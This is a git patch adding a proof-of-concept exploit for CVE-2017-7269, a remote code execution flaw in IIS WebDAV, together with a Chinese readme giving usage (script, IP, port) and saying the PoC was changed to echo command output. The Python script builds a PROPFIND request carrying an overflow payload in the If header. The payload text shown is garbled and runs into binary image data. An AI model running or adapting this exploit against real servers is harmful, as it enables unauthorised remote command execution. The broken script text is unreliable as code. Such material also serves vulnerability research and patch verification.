From a9b79f18bf3f8e94cb05e115b133afe836321dc6 Mon Sep 17 00:00:00 2001 From: mr-xn Date: Tue, 20 Aug 2019 12:00:50 +0800 Subject: [PATCH] upload CVE-2017-7269 --- .../CVE-2017-7269_remote_echo.py | 42 ++++++++++++++++++ IIS/CVE-2017-7269-Echo-PoC/example.png | Bin 0 -> 5717 bytes IIS/CVE-2017-7269-Echo-PoC/readme.md | 17 +++++++ 3 files changed, 59 insertions(+) create mode 100644 IIS/CVE-2017-7269-Echo-PoC/CVE-2017-7269_remote_echo.py create mode 100644 IIS/CVE-2017-7269-Echo-PoC/example.png create mode 100644 IIS/CVE-2017-7269-Echo-PoC/readme.md diff --git a/IIS/CVE-2017-7269-Echo-PoC/CVE-2017-7269_remote_echo.py b/IIS/CVE-2017-7269-Echo-PoC/CVE-2017-7269_remote_echo.py new file mode 100644 index 0000000..c09eb3b --- /dev/null +++ b/IIS/CVE-2017-7269-Echo-PoC/CVE-2017-7269_remote_echo.py @@ -0,0 +1,42 @@ + +import socket +import sys +import time + +def generate_payload(port): + pay='PROPFIND / HTTP/1.1\r\nHost: localhost:'+ port +'\r\nContent-Length: 0\r\n' + pay+='If: <3PW*W8B(OiO*%FF`M(sBtE+h-b+J~b>g z$tg24BvZg0+tfg#Qb9q)GBO23Q9wX=zf1G|zJGWR=RNn_^PcnWg_;zk}(eQUNQq`VSl|F7&qxd)uY` zu5Vw?){54sZ@xS07yZ*ZSu3%baInuLpeQ)JT`GiT7;s2I!He}{4E_B@z#~&37>iHS zY7Fv3=Hfxs{UNlfCtQUk55=zF z(;iM%TQ3^b7VqZvpKQdV3F=`^ja@#U(>iQZww|Nxb9PBA%1^7#jpFZChbeU&kAyQ4 z4)d>826vJ~ZsLC6GWBmd2~X=7_^~ZkLUKpsBYlV$S~DnZo$i@oAn(@K*Cx!RS;i`RxZ8;vNuyfksF&h)VXpM{hh60rrFw2l z8&^(JD@Z)0Z59@KrD^CUVI1>*}Fk{CN!8*Jk&qQ@o95_Bm2d{27iLO6`iPIh#pe zi$Z45I?}{D16a8Vd>a%K*KJ9*StN0O7j)OExaN0jqvJJb3d~`j6z0@}7r~C_%NHe$@AD-?n$y|r9*lr*7*}qQ8Ef%r8DwzJcSyk zAt}^C?wP-bvRbbVP4|8>NCWHyS>+^i2?B>QI8M-}sT+rcXo6YiFs-{rp#Q*?av>TP)esHpvWw9b%H| zpxvDw5s6z+L27DeTGgz_TH(0V)VWP%CERy|L6#GxlyPX~?SvZ_3TfD^@@n;qXGA(} zzHqcoNe_>BVpFkO>rTz8b?f-BTja>E{c;FJ+%x)ex*DF1LEwEI=~cSSj1KJ{w7M6U z5Ck0y6*5Q_XESM!=*Nv^gAYra0{HBvkDRf^gSH))+^rt<`PFq7SR8bq-(j*G;2eGR z4{fFT&dW;K?7Zufej7B)ItkICQqMn_j&{+1iK{GZ44-sm{CN45hLP4Bs>GkNpydSz z>5ElG`8$&}$eG3I=DAmRH$#6P7ytU(Tf)h}Jd{q$;%LX-lai>4$}hs1rNwn#TieTu z_!BdY3S1uo+9O<~I**?}b=C2s5&rAyM$t@Q#f2_JtL-^Q`XP%yY@O<^oc)1zU(RT<%VpmTxoL5}t>casVrpboZESg7sY|74OJC-U zH0(2xR3}&^X~koBy-h=Z+QYEV=X?nym$osQ=8nq-H+E4obc}B)fZ_{R@u6}X$!@LZ zgU<>^MDU}Y_yV4OD4EtRzHS8#jnWf>CsOl-DGM*$7eW}Zuz5bJaZ_AT+f~FLR-_%e zKy2qvqD~Ez%NCO!GkO+E3Rgdu64NqNea|qxMT<_5ts0%C@((cwuBE?l$U8U`4qtjj62o}Qi<*5=MeJDRaOn><8n&AnEmufq@fvzu=Bm1qM zDT@(AJjW@zN=kyevrDQ!@A$d8`O81`qmePP2v1K6<=qUGmE2;Mm;N3Fe5)xT||Mf;y;<@~Y<#Y{okFl(iOG_rt!ibGGm`1(61rjzGYI8Nm0ReaJsz~_WBC%FC3zlhRcfSViJ1&vaZW-- zh0-$=qeW{s5);F;>TpEo#tJ-+frpE|B6D$lMmel6GySy1I(1S z&V8&a)qd)jtg2cIXX^%lKej5$QJ?W*=2^-m=Isb|Sp5%ALA`0X3dYvm zmYKV@&FtL$Ts#o?zqbjXQ5IJ81`tZoU%(xdJcwt zbu;y?ge95}+!gfmN@BAQgApF2qngg}__VRmMG_yaN7Bn%s!c$xw)RsZwlo<3Oefl1 zTR2oY3rd56vbc%NM6poSsh;TvAVi-j07kEZ;IVZ*F(5i1rr6pJPV_bXz7k9H`@~5W zb98nlHv@|%xRZ=Xk8t30eLD2CrG0fUFjbTAOUTkYo2#`=i z0ar*|8T>FO!H#?-N^PqEkcu9_WLPKvqrWv-P^iK1gvTHN+ow{yu59t}um-{%vwO<) zXJuL1!8iHP4jfS1N-5!dsI?cQY=A@XQ_dL>-#3mo*`wOr^{wsE@wdG_Zn}>SCWbju zY!)T33=45D2I4RdIU0H#lUZHlO&>i_!p>ctrXA3ca2uVX$B9AZxLAt7$&30Vzokla zm6=yjSt$4ysz}zZ=AGa(8Zm;9q8=6lE2?K`r~^bb(fh-FB29br!*#L=w5q@8Rb*4J(KAtq5qOPZiB;}r{1 znbUvkj{MTF1U6E+)*5wX5$dnX!K%_jt!5VlF?C(=H>@g92 z80A@Q9U8eYUAGW6wZa62y3*W7d4Xg_@2N{g^6h)e%8z@d*u{VE5lRqds*}*ofkfIh zxr{3Dpw54AzB#k!AQn}o*uXUJu!q48AAl6Md@@GK6^~gJ|FT4nt5|WEqD7Qj$Y-T# zPUW!F;fKZR&|BlNC!9rdS9rx6HtkAUb<)@C$NlCcWM`U#PvtzdC2WuyyQLy#fd>qB z*~Am|8tJqY{^HPt5D|m4*u`1W-J2k`UXaRiKHIS?iHt4(=kl#?bmiOGv9gKUaQ3rY z*U2;hm4A-T2L}w)8Cxq65y|@u+wz0WeZzCQmDX+I)xt}-6nd=^h zc=}*-i2W5eP5@s4ppIEaeZD{8%|uxsBCL>uYO-`+`MHBgMfszl8V==Pm5#Csxj6<| z)4mq8&BncO&fDO!?)d9P1b}B2mLqrSrI%sWN8ke>#9z9pr$tc^v6J!IWt6NLV_%a~ z^|k9Gve7zEJ7=OA-GNVlDu|3Ya^695$B!V1gB!Z68Otj(*9R^0P__(&ck`}13>6a; zl+9CigA6Jtge&+cs$wjm0D%|J^kG;%Zy0G-4lyXtz&`fbtpL5HuYVL?{(BwR0yz%V zW5*2;&d}uYzX=u^_T)fyCeXE4eSK2BqRq7mdi1{Dg2uy@cMs8uXnBi`3{2g`r#Y+nf5cw?Xy3* z$g9|t0hNfbsN9z`>ow*pLc$M!&Sj|G%3VSoX7r!AV49G`Ik8GMsfxU*+luJ!>sVMF zd0Swt_=sL0LgWaV0Ndppd?|D8(rb_b%UbRm7?yTRu9l@1G^ zkX-_Ja4cNZgN>C+AlHj;OQ-3avO*Wy?bjgfXyZ}!fXv1Qy1gvgC^YmUkvurk*HR%O z9j!{)Kdv7{pz-HyM`ed}*%dl4k#{6?hLJXkZAlh6zAur`@B)vUMpm zop5V=p2M%JkASt>pAyw* zvEArvCycKs1LD0Hyx6ySIQa~aAGvuuX1d{yN%gNOlM-DSol=jr%}V$aFkE}EBI{!v z{6hbjBzrI{hicr7raDr>)iXKru90N2j*1QNq?KcVlRwY*Ty5_+R0JgAx-aqDZyTQ1DMzpxL@D+8Iy6dz|j_I#=>Z{2(Qo`2{-HVzs2Bm=U z(SY#F=6!J?Ds{XPXWl}taJt02&ouR4whO~w&4lAEG0-!IUM0(|aCTE65n;#~By%pf z`}1))D<-fF<7j49QkzXH9&tD8>df8?ULO&hhOReGe(e8rt+W#N@SbDbvbn*8p1oc& zzzauEx-}>Q9v6KevuAr4qBsVbO&*dLxxON^f^8`etibpO7Lx*U$!@YbqfH=bj6yt) zGiRmz4UVHHq%UI0{GzaZZ(J0GGmTt%zY=6^q|&0vxhtsUbVLwBQYzfQ6z1ns9%fZt zzy~psH3&XP3G9<5(fCQC?!7cUqdbmx5dn4)*Cls>lDtCVbLk!kYlNzZ9Z3@}#slLJ zOlgPPx6aPQ`^(cShF&W~#$Lr9axw=ZS|LcU5Wm80Gw_EP^a+*gEP(V_K|1lwPzsm1 z8g3@u{Q-}emGoX=1Nj~zi3(^NR{#G0FA8K+n$**-KsTb%IJdhI4A4<%g1_~3@Aks= z`|kaxnN+SiBK*$aFr*sNlfKP_Rv7j)?BpnJGqTiR)_;D18+g<^?}z5*=i87uqsIXYSdq z-1YiH?3W8E0aGpEs+L@{b56Zn&^#vj^F!s8lIC}Ao@#pE7tjCYxDM$ z;TJJ=RgKRT@0C0T2m}76_oBq7Z^`BIIKIOK58*b99?VSC*DYovT}9=cGh@f%EN_8M zVT!QM%Wd?$(tL1bx$o!F6?a|4UJv^v)w~oYop(E*wx6U4<5kA#Kg=|aX=C*p-n<_N z-tXhT8?17ziTr`KC#$P}ioO~$Z7{vv)~&v%^>Hn|*Sn3MpvL%Ud;a&CHNsgb9v z#M3WiqI-sy{E?bkdH}6WVR;5T(KU{jpD8E+!EamJG1nB{Qg0kUbF>V1`Nw>xlgHWN zDY-gCP!USBa3YzCytYR5oWe_9pgcnff=q^eQT*6vd@7)k_LH|4UZGahRuQ;mEdSs? z5uL-4vOH{EXLxstoJ)gKbBUtL+(y?50I*rzfhq9SFb8l6MXy-M6l+h0hs4BD8_IT-S4IWAk?d+*<_tKn z)EbpjA6IU~W3^!{;AW)d#jml3^bhL48$1zWpaaf^E;GYHYM0M{o$^n9hP}G|mv8O# z?^nldkg7D`7xqc-R&Y0kVc6LtGQcVx*Q}O5Ud#i3Zzj&gY_yKq>g$dQ@?9eA9kunh6BLll@^i(LbL={sL^o)~!-lGlb1r0l6O7gL_hShO7f_5QBs_R8M{wQUP9u zb@kc^zyp@P3Pcp2=K4S17*E6J;uG&~F%U0Wq4Owk`0sRra#luvL%hi>oy~Us;M-)V dC#N$Yqu(}#WY{`R7aLsp{}!~jX7`bc{|g5Pkj4N2 literal 0 HcmV?d00001 diff --git a/IIS/CVE-2017-7269-Echo-PoC/readme.md b/IIS/CVE-2017-7269-Echo-PoC/readme.md new file mode 100644 index 0000000..0e1e92c --- /dev/null +++ b/IIS/CVE-2017-7269-Echo-PoC/readme.md @@ -0,0 +1,17 @@ + +### CVE-2017-7269 远程代码执行回显验证 + +--- +我们团队对此次 CVE-2017-7269 漏洞的分析报告: https://ht-sec.org/cve-2017-7269-vulnerabilities/ + +默认PoC 只能弹`calc.exe` ,现在修改成可以响应请求,命令格式为:
+ +CVE-2017-7269_remote_echo.py ip_address port + +
+ +效果如下:
+ +![](./example.png) + +来源: https://github.com/lcatro/CVE-2017-7269-Echo-PoC \ No newline at end of file